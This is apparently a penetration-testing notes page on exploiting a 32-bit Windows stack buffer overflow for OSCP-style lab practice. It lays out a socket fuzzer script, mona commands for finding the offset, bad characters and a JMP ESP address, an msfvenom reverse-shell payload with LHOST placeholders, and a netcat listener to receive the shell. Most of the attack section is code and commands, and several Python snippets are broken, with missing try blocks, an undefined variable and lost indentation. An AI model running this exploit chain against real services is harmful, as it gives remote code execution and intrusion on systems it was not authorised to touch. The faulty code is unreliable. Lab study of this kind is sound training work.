BoF - Windows(x86)

BoF - Windows(x86)


This kind of exploitation you will only find in bizarre Windows systems (OSCP EXAM) that do not support 64 bits architecture.

Setting up the environment

To exploit a buffer overflow is required a test environment where the researcher can experiment with the vulnerable program for obtaining RCE instead of a DoS once it is executed against the victim.
To set up the environment, you need to download and install the following.
  • ​Windows 7 x86. Do not forget to change the keyboard layout atRegion and Language/Keyboards and Languages/Change keyboards...
  • ​Google Chrome​
  • ​Immunity Debugger​
  • ​ Add the file to the folder C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands.
  • ​nc.exe​
  • The vulnerable program version

Discovering the offset

The attacker should follow these steps to determine how many bytes are necessary to crash the service.
  1. 1.
    Run immunity debugger as administrator.
  2. 2.
    Set the mona directory.
!mona config -set workingfolder C:\mona\
  1. 1.
    Open the .exe file and press "PLAY" F9.
  2. 2.
    Run the fuzzer against the remote program.
import sys, socket, time
R_HOST = ''
port = 1337
timeout = 5
counter = 100
prefix = "OVERFLOW1 "
while True:
payload = prefix + "A"*counter
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((R_HOST, port))
print '[+] Sending %s bytes...' % (len(payload) - len(prefix))
s.send(payload + '\r\n')
print '[+] Done'
except Exception as e:
print '[!] You cannot connect to the programme. You may have cracked it.'
print e
counter = counter + 100
Now, based on the last set of bytes that was sent to the server, you need to create a pattern for obtaining the specific number of bytes required to crash the service.
!mona pattern_create <COUNTER>
The file C:\mona\pattern.txt with the generated pattern will have been created.
Then, modify the script, adapting it to the executable you want to exploit and add the ASCII pattern to the buffer variable and execute it.
import sys, socket
ip = ''
port = 9999
prefix = "OVERFLOW1 " # Si se requiere de un prefijo
pattern = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = "\x90"*0 # 100
payload = ""
buffer = prefix + pattern + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
except Exception as e :
print("Could not connect.")
Once the script is executed, the Immunity Debugger will have the status Paused, copy the value of the EIP registry and execute the following command.
!mona pattern_offset <EIP_value>
The result is a text similar to this one:
Pattern 0cp1 (<EIP_value>) found in cyclic pattern at position <OFFSET>
Modify the buffer variable in order to check that the offset is correct.
buffer = <OFFSET>*'A'+'BBBB'+'C'*100
Restart the program Ctrl+F2, hit PLAY F9 and re-launch the exploit, getting an "Access violation" with the EIP register full of Bs (0x42).

Finding bad characters

Generate the byte array, to find the bad chars with the following command.
Note: Remove the Null byte because it is always a bad char by default.
!mona bytearray -b "\x00"
The byte array can be found in C:\mona\bytearray.txt.
The script would look like this:
badchars = "<BADCHARS>"
buffer = <OFFSET>*'A'+'BBBB'+'C'*100+badchars
Restart the program, run the exploit, click on the ESP registry in the Immunity Debugger and click on "Follow in Dump".
Check if a character is missing from your BADCHARS string. Whether the byte does not appear or 00 appears instead, remove the byte from your exploit.
Another way to get the bad chars is to run the following command, where the first bad char is the one to remove.
!mona compare -f bytearray.bin -a <DirecciΓ³n donde badchars empieza>
The bad chars are listed in the following table.
Corruption after 06 bytes
00 07 08 2e 2f a0 a1
Note: As you have removed the 00, the bad chars would be 07, 2e and a0.
Once the bad char is found, run the command !mona bytearray -b "\x00x<BADCHAR>", adding the bad chars found and run the exploit again. Moreover, remove the bad chars from the badchars variables.
This process is iterative until no more bad chars appear.

Looking for JMP ESP instruction addresses

Now, look for memory addresses that contain the JMP ESP instruction but whose address does not contain the previously obtained bad chars.
!mona jmp -r esp -cpb "\x00\x07\x2e\x0a"
!mona find -s "\xdd\xe4" -m "<Library_dll>" # Find the instruction inside a specif library
In the window/Log data window, you will see several results, as it is possible to use the address of momeria, whose file is from the application itself and which has everything set to "False".
Copy the address and pass it to Little Endian.
625014DF -> "\xDF\x14\x50\x62"

Generating the payload

Run msfvenom to generate your payload with EXITFUNC=THREAD so that the exploit can be launched multiple times.
msfvenom -p windows/shell_reverse_tcp LHOST=<YourIP> LPORT=443 -b "\x00\x07\x2e\x0a" -f python EXITFUNC=thread -v payload # -e x86/shikata_ga_nai
Note: If the exploit does not work, try other encoders. You can list the available encoders with msfvenom --list encoders.
The variables would look like this.
buf = "<PAYLOAD>"
buffer = "A"*2012+"\xDF\x14\x50\x62"+"\x90"*100+buf
The NOPs (0x90) instructions are added to prevent your payload from overwriting the value of the JUMP ESP address.

Testing the exploit

Finally, use netcat to listen on port 443, restart the program and run the exploit. If you have obtained a functional reverse shell you can execute the exploit against the target machine.


Copy link
On this page
BoF - Windows(x86)
Setting up the environment
Discovering the offset
Finding bad characters
Looking for JMP ESP instruction addresses
Generating the payload
Testing the exploit